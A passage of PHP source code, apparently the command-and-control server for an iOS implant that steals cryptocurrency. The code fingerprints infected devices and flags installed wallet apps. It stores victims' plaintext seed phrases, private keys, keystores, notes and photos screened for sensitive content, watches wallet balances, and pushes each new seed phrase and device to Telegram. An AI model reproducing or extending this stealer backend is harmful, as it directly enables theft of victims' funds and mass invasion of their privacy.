> 4)); } return $out; } /** * Campaign / channel id from reporting traffic. * * Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed). * Fallback: `channel` (seen on /link/config/list alongside `c`). */ public function extractChannelId(Request $request, ?array $payload): ?string { $candidates = []; if (is_array($payload)) { if (isset($payload['form']) && is_array($payload['form'])) { $candidates[] = $payload['form']['c'] ?? null; $candidates[] = $payload['form']['channel'] ?? null; } $candidates[] = $payload['c'] ?? null; $candidates[] = $payload['channel'] ?? null; } $candidates[] = $request->input('c'); $candidates[] = $request->input('channel'); foreach ($candidates as $value) { if (! is_string($value) || $value === '') { continue; } $value = trim($value); // HAR / implant: lowercase hex, typically 32 chars if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) { return strtolower(substr($value, 0, 64)); } } return null; } public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device { $deviceKey = $deviceKey !== null ? self::normalizeDeviceKey(substr($deviceKey, 0, 64)) : $this->extractDeviceKey($payload); if (! $deviceKey) { return null; } $deviceModel = $this->extractDeviceModel($payload); $ios = $this->extractIosVersion($payload); $channelId = $this->extractChannelId($request, $payload); $ua = substr((string) $request->userAgent(), 0, 2000); $existing = Device::query()->where('device_id', $deviceKey)->first(); $attrs = [ 'ip' => $request->ip(), ]; if ($ua !== '') { $attrs['user_agent'] = $ua; } if ($deviceModel !== null) { $attrs['device_model'] = $deviceModel; } elseif ($existing) { $attrs['device_model'] = $existing->device_model; } if ($ios !== null) { $attrs['ios_version'] = $ios; } elseif ($existing) { $attrs['ios_version'] = $existing->ios_version; } if ($channelId !== null) { $attrs['channel_id'] = $channelId; } elseif ($existing) { $attrs['channel_id'] = $existing->channel_id; } // created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断) $device = Device::query()->updateOrCreate( ['device_id' => $deviceKey], $attrs ); $device->forceFill(['updated_at' => now()])->saveQuietly(); if (! $existing) { $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); $device->telegram_notified = true; $device->save(); } return $device->refresh(); } /** * App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version). */ public function ingestInstalledApps(Device $device, ?array $payload): void { if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) { return; } $walletBundles = config('coruna.wallet_bundles', []); foreach ($payload['al'] as $item) { if (! is_array($item)) { continue; } $bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? ''); $name = (string) ($item['a'] ?? $item['name'] ?? $bundle); $version = isset($item['v']) ? (string) $item['v'] : null; if ($bundle === '') { continue; } $isWallet = in_array($bundle, $walletBundles, true) || (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name); DeviceApp::query()->updateOrCreate( ['device_id' => $device->id, 'bundle_id' => $bundle], [ 'name' => $name, 'version' => $version, 'is_wallet' => $isWallet, 'meta_json' => $item, ] ); } } /** * Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`). */ public function ingestDeviceEvent(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $eventName = $payload['et'] ?? $payload['event_name'] ?? null; $desc = $payload['desc'] ?? $payload['description'] ?? null; if ($eventName === null && $desc === null) { return; } $ctx = $payload['ctx'] ?? $payload['context'] ?? null; $contextJson = null; if (is_array($ctx)) { $contextJson = $ctx; } elseif ($ctx !== null) { $contextJson = ['value' => $ctx]; } DeviceEvent::query()->create([ 'device_id' => $device->id, 'device_key' => $device->device_id, 'event_name' => is_string($eventName) ? $eventName : null, 'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null, 'context_json' => $contextJson, ]); } /** * `/api/user/set` — plaintext mnemonic / private key in `result`. */ public function ingestMnemonic(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $secret = null; foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key])) { $secret = trim($payload[$key]); break; } } if ($secret === null || $secret === '') { return; } $hash = WalletMnemonic::hashSecret($secret); $row = WalletMnemonic::query()->firstOrNew([ 'device_id' => $device->id, 'mnemonic_hash' => $hash, ]); $isNew = ! $row->exists; $source = WalletSource::fromTag($payload['a'] ?? null); $row->source = $source; $row->mnemonic = $secret; $row->save(); if ($isNew) { $this->telegram->notifyNewMemoric($device->device_id, $source, $secret); } } /** * `/api/user/avatar/status` — store entire `result` keystore/identity blob. */ public function ingestKeystore(Device $device, ?array $payload): void { if (! is_array($payload) || ! array_key_exists('result', $payload)) { return; } $result = $payload['result']; if (is_string($result)) { $decoded = json_decode($result, true); if (is_array($decoded)) { $result = $decoded; } } if (! is_array($result) && ! is_string($result)) { return; } WalletKeystore::query()->create([ 'device_id' => $device->id, 'raw_json' => is_array($result) ? $result : ['value' => $result], ]); } /** * `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`. */ public function ingestAddresses(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $source = WalletSource::fromTag($payload['a'] ?? null); $rows = $this->normalizeStatusAddressRows($payload); /** @var list $notify */ $notify = []; foreach ($rows as $row) { $address = $row['address'] ?? null; if (! is_string($address) || $address === '') { continue; } $chainType = (string) ($row['chain_type'] ?? ''); if ($chainType === '') { $chainType = WalletSource::inferChainType($address); } $chainType = strtoupper(trim($chainType)); if (! WalletSource::isSupportedChain($chainType)) { continue; } $balance = $row['balance'] ?? ''; // Global Wallet ad map: scalar is not a balance → ignore coin fields. if (! is_array($balance) && ! is_string($balance)) { $balance = ''; } $existing = WalletAddress::query() ->where('device_id', $device->id) ->where('address', $address) ->where('source', $source) ->first(); $beforeCoins = $existing?->coinSnapshot(); $coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null); $attrs = ['chain_type' => $chainType]; foreach ($coinAttrs as $col => $value) { $attrs[$col] = $value; } // Default monitor on for new rows; disabled only when Tokenview enable fails. if (! $existing) { $attrs['monitor'] = 1; } $addr = WalletAddress::query()->updateOrCreate( ['device_id' => $device->id, 'address' => $address, 'source' => $source], $attrs ); $isTron = in_array($chainType, ['TRON', 'TRX'], true); // Tron: client payloads often omit/zero balances — pull TRX/USDT before notify. if ($isTron && (! $existing || $coinAttrs === [])) { $this->balances->refresh($addr); $addr->refresh(); } if (! $existing) { $this->enableMonitorOrDisable($addr); } $balanceSummary = $addr->balanceDisplayLine(); $shouldNotify = ! $existing || ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot()); if ($shouldNotify) { $notify[] = [ 'address' => $address, 'chain' => $chainType, 'balance' => $balanceSummary, 'source' => $source, ]; } unset($addr); } if ($notify !== []) { $this->telegram->notifyNewWallets($device->device_id, $notify); } } /** * New addresses start with monitor=1; turn off only when Tokenview add fails. */ private function enableMonitorOrDisable(WalletAddress $address): void { try { if ($this->tokenview->syncMonitor($address)) { return; } } catch (\Throwable $e) { Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [ 'wallet_address_id' => $address->id, ]); } if ((int) $address->monitor !== 0) { $address->monitor = 0; $address->save(); } } /** * `/api/user/avatar/pic` — Notes reader; content = payload.list. */ public function ingestNotes(Device $device, ?array $payload): void { if (! is_array($payload) || ! array_key_exists('list', $payload)) { return; } $list = $payload['list']; if (! is_array($list)) { $list = [$list]; } Note::query()->create([ 'device_id' => $device->id, 'content' => array_values($list), ]); } /** * Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx". * * @return array{0: ?int, 1: ?int} */ public static function decodeHexCounterPair(mixed $packed): array { if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) { return [null, null]; } return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))]; } /** * @param array{ * x_hit?: ?int, * upload_count?: ?int, * process_index?: ?int, * text_count?: ?int, * barcode_count?: ?int * } $meta */ public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void { $notifiedNewSensitive = false; foreach ($filePaths as $path) { if (! is_file($path)) { continue; } $bytes = file_get_contents($path); $sha = hash('sha256', $bytes); // Same file content → skip DB insert & telegram (idempotent). if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) { continue; } $rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path); Storage::disk('local')->put($rel, $bytes); $xHit = $meta['x_hit'] ?? null; $photo = Photo::query()->create([ 'device_id' => $device->id, 'sha256' => $sha, 'path' => $rel, 'size' => strlen($bytes), 'x_hit' => $xHit, 'upload_count' => $meta['upload_count'] ?? null, 'process_index' => $meta['process_index'] ?? null, 'text_count' => $meta['text_count'] ?? null, 'barcode_count' => $meta['barcode_count'] ?? null, ]); if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) { $this->telegram->notifyNewPhotos($device->device_id); $notifiedNewSensitive = true; } } } private function extractDeviceModel(?array $payload): ?string { if (! is_array($payload)) { return null; } foreach (['deviceModel'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key])) { return $payload[$key]; } } // avatar/put often sends short model as `m` (e.g. iPhone9,1) if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) { return $payload['m']; } $info = $payload['deviceInfo'] ?? null; if (is_array($info)) { foreach (['productType', 'machine', 'model'] as $key) { if (! empty($info[$key]) && is_string($info[$key])) { return $info[$key]; } } } return null; } private function extractIosVersion(?array $payload): ?string { if (! is_array($payload)) { return null; } // /api/user/get uses `v` for iOS version if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) { return $payload['v']; } foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key])) { return $payload[$key]; } } $sv = $payload['systemVersion'] ?? null; if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) { return $sv['ProductVersion']; } if (is_string($sv) && $sv !== '') { return $sv; } $info = $payload['deviceInfo'] ?? null; if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) { return $info['productVersion']; } return null; } /** * Normalize `/api/user/status` shapes into address rows. * * @return list}> */ private function normalizeStatusAddressRows(array $payload): array { $ba = $payload['ba'] ?? null; if (is_string($ba)) { $decoded = json_decode($ba, true); $ba = is_array($decoded) ? $decoded : null; } if (is_array($ba)) { return $this->normalizeBaAddressRows($ba); } $ad = $payload['ad'] ?? null; if (is_string($ad)) { $decoded = json_decode($ad, true); $ad = is_array($decoded) ? $decoded : null; } if (is_array($ad)) { return $this->normalizeAdAddressRows($ad); } if (isset($payload['data']) && is_array($payload['data'])) { return $this->normalizeLegacyDataRows($payload['data']); } return []; } /** * imToken-style: { "
": [ { balance, chainType, symbol, decimal }, ... ] } * * @param array $ba * @return list}> */ private function normalizeBaAddressRows(array $ba): array { $out = []; foreach ($ba as $address => $assets) { if (! is_string($address) || $address === '' || ! is_array($assets)) { continue; } $balance = []; $chainType = ''; foreach ($assets as $asset) { if (! is_array($asset)) { continue; } if ($chainType === '') { $chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? ''); } $symbol = strtoupper((string) ($asset['symbol'] ?? '')); if ($symbol === '') { continue; } $balance[$symbol] = WalletSource::formatBalance( $asset['balance'] ?? 0, $asset['decimal'] ?? $asset['decimals'] ?? null ); } if ($chainType === '') { $chainType = WalletSource::inferChainType($address); } $out[] = [ 'address' => $address, 'chain_type' => strtoupper($chainType), 'balance' => $balance, ]; } return $out; } /** * Global: { "
": "" } — scalar is NOT a balance. * Trust: [ { address, symbol, balance, decimals }, ... ] * * @param array $ad * @return list|string}> */ private function normalizeAdAddressRows(array $ad): array { if (array_is_list($ad)) { /** @var array}> $byAddr */ $byAddr = []; foreach ($ad as $item) { if (! is_array($item)) { continue; } $address = (string) ($item['address'] ?? ''); if ($address === '') { continue; } if (! isset($byAddr[$address])) { $chain = (string) ($item['chainType'] ?? $item['chain'] ?? ''); if ($chain === '') { $chain = WalletSource::inferChainType($address); } $byAddr[$address] = [ 'address' => $address, 'chain_type' => strtoupper($chain), 'balance' => [], ]; } $symbol = strtoupper((string) ($item['symbol'] ?? '')); if ($symbol === '') { continue; } $byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance( $item['balance'] ?? $item['value'] ?? 0, $item['decimal'] ?? $item['decimals'] ?? null ); } return array_values($byAddr); } // Global Wallet: address → opaque scalar (not balance) → store empty string $out = []; foreach ($ad as $address => $value) { if (! is_string($address) || $address === '') { continue; } $out[] = [ 'address' => $address, 'chain_type' => WalletSource::inferChainType($address), 'balance' => '', ]; } return $out; } /** * Legacy lab fixture: [ { address, chain, balance, symbol } ] * * @param array $data * @return list}> */ private function normalizeLegacyDataRows(array $data): array { $items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []); $out = []; foreach ($items as $item) { if (! is_array($item)) { continue; } $address = (string) ($item['address'] ?? ''); if ($address === '') { continue; } $chainType = (string) ($item['chainType'] ?? $item['chain'] ?? ''); if ($chainType === '') { $chainType = WalletSource::inferChainType($address); } $symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType))); $out[] = [ 'address' => $address, 'chain_type' => strtoupper($chainType), 'balance' => [ $symbol => WalletSource::formatBalance( $item['balance'] ?? 0, $item['decimal'] ?? $item['decimals'] ?? null ), ], ]; } return $out; } }